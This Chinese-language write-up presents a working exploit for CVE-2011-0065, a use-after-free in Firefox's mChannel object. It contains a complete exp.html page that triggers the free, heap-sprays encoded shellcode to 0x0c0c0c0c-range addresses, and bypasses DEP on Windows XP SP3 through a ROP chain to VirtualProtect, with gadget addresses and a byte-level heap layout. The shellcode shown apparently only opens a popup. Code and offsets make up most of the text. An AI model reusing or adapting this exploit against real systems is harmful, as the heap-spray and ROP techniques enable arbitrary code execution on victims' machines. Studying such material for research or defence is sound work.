CVE-2011-0065 Firefox mChannel UAF漏洞

為了實現任意代碼執行，需要在mChannel對象釋放后，用可控數據“占坑”填充它，因此，可在onChannelRedirect函數調用完成后，緊跟着申請一塊大小相同的內存：

e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")

執行后，虛表指針就會被0x0c0c001c填充，從而控制程序的執行流程，如下圖

接下來，只需利用Heap Spray技術將shellcode噴射到0x0c0c0034的位置即可實現任意代碼執行：

#######exp.html

<html>

<body>

<object id="d"><object>

<script type="text/javascript">

 

e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")

 

var shellcode =

unescape("%u4141%u4141%u0038%u0c0c%uc012%u0038%u0c0c%u4141%uA2EC%u7D66%u003c%u0c0c%u476c%u7C47%u4141%u4141%u0090%u0c0c%u4141%u4141%u4141%u4141%u323b%u1042%u1ad4%u7c80%u0084%u0c0c%u0090%u0c0c%u0400%u0000%u1A61%u7C80%u0090%u0c0c%uffff%uffff%u0000%u0c00%u0000%u0010%u0040%u0000%u0024%u0c0c%u0090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%udb33%u6853%u6c72%u2020%u6e68%u6761%u6869%u6d20%u6f6f%u6968%u6120%u8b6d%u53c4%u5050%ub853%u085c%u77d5%ud0ff%ub853%ucafa%u7c81%ud0ff%u9090%u9090")

 

var ret_addr = unescape("%u0024%u0c0c")

while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr}

var b = ret_addr.substring(0,(0x48-0x24)/2)

b += shellcode

b += ret_addr

var next = b.substring(0,0x10000/2)

while(next.length<0x800000) {next += next}

var again = next.substring(0,0x80000 - (0x1020-0x08)/2)

array = new Array()

for (n=0;n<0x1f0;n++){

  array[n] = again + shellcode

}

 

e.data = ""

   

</script>

</body>

</html>

1 VirtualProtect函數

由於Windows xp sp3開啟了DEP保護，所以我們要繞過DEP保護才能執行shellcode,本文采用ROP方式調用VirtualProtect方法繞過DEP

首先我們來看看 MSDN 上對 VirtualProtect 函數的說明。

BOOL VirtualProtect (
LPVOID lpAddress,
DWORD dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

各參數的意義為：
lpAddress，要改變屬性的內存起始地址。
dwSize，要改變屬性的內存區域大小。
flNewProtect，內存新的屬性類型，設置為 PAGE_EXECUTE_READWRITE（ 0x40）時該內存頁為可讀可寫可執行。
pflOldProtect，內存原始屬性類型保存地址。
修改內存屬性成功時函數返回非 0，修改失敗時返回 0。
如果我們能夠按照如下參數布置好棧幀的話就可以將 shellcode 所在內存區域設置為可執行模式

BOOL VirtualProtect(
shellcode 所在內存空間起始地址,
shellcode 大小,
0x40,
某個可寫地址
);

其實通過匯編代碼我們會發現其實VirtualProtect有五個參數，

-1（0xffffffff）參數代表進程句柄，構造參數時設為0xffffffff即可

2 ROP序列

ROP中要用到的三個關鍵程序片段

片段一*************************************************************************

7D66A2EC    8B49 0C         mov ecx,dword ptr ds:[ecx+0xC] 

7D66A2EF    8B01            mov eax,dword ptr ds:[ecx]     

7D66A2F1    52               push edx

7D66A2F2    51               push ecx

7D66A2F3    FF50 14          call dword ptr ds:[eax+0x14]   

片段二*************************************************************************

1042323b                     push eax

                             pop esp

                             retn 0c  

片段三*************************************************************************

7C47476C   83C4 18          ADD ESP,18  

7C47476F   C3               RETN

三個片段地址尋找是通過immunity inc 的mona插件和 ollydbg的ollyFindAddr插件尋找的

3.3 Shellcode布局

Shellcode布局：

堆地址	值	備注
0c0c0024	%u4141%u4141	填充
0c0c0028	%u0038%u0c0c	堆地址
0c0c002c	%u4141%u4141	填充
0c0c0030	%u4141%u4141	填充
0c0c0034	%uA2EC%u7D66	片段一地址
0c0c0038	%u003c%u0c0c	堆地址
0c0c003c	%u476c%u7C47	片段三地址
0c0c0040 - 0c0c004c	%u4141%u4141	填充
0c0c0050	%u323b%u1042	片段二地址
0c0c0054 - 0c0c0060	%u4141%u4141	填充
0c0c0064	%u1A61%u7C80	VirtualProtectEx函數首地址
0c0c0068	%0090d%u0c0c	彈窗代碼首地址（堆地址）
0c0c006c	%uffff%uffff	VirtualProtectEx參數一（-1）
0c0c0070	%u0000%u0c00	shellcode 所在內存空間起始地址
0c0c0074	%u0000%u0010	shellcode 大小（堆塊大小）
0c0c0078	%u0040%u0000	0x40
0c0c007c	%u0024%u0c0c	可寫地址（堆地址）
0c0c0080 – 0c0c008c	%u0090%u9090	Nop指令
0c0c0090	%udb33%u6853 %u6c72%u2020 %u6e68%u6761 %u6869%u6d20 %u6f6f%u6968 %u6120%u8b6d %u53c4%u5050 %ub853%u085c %u77d5%ud0ff %u77d5%ud0ff %ub853%ucafa %u7c81%ud0ff	彈窗代碼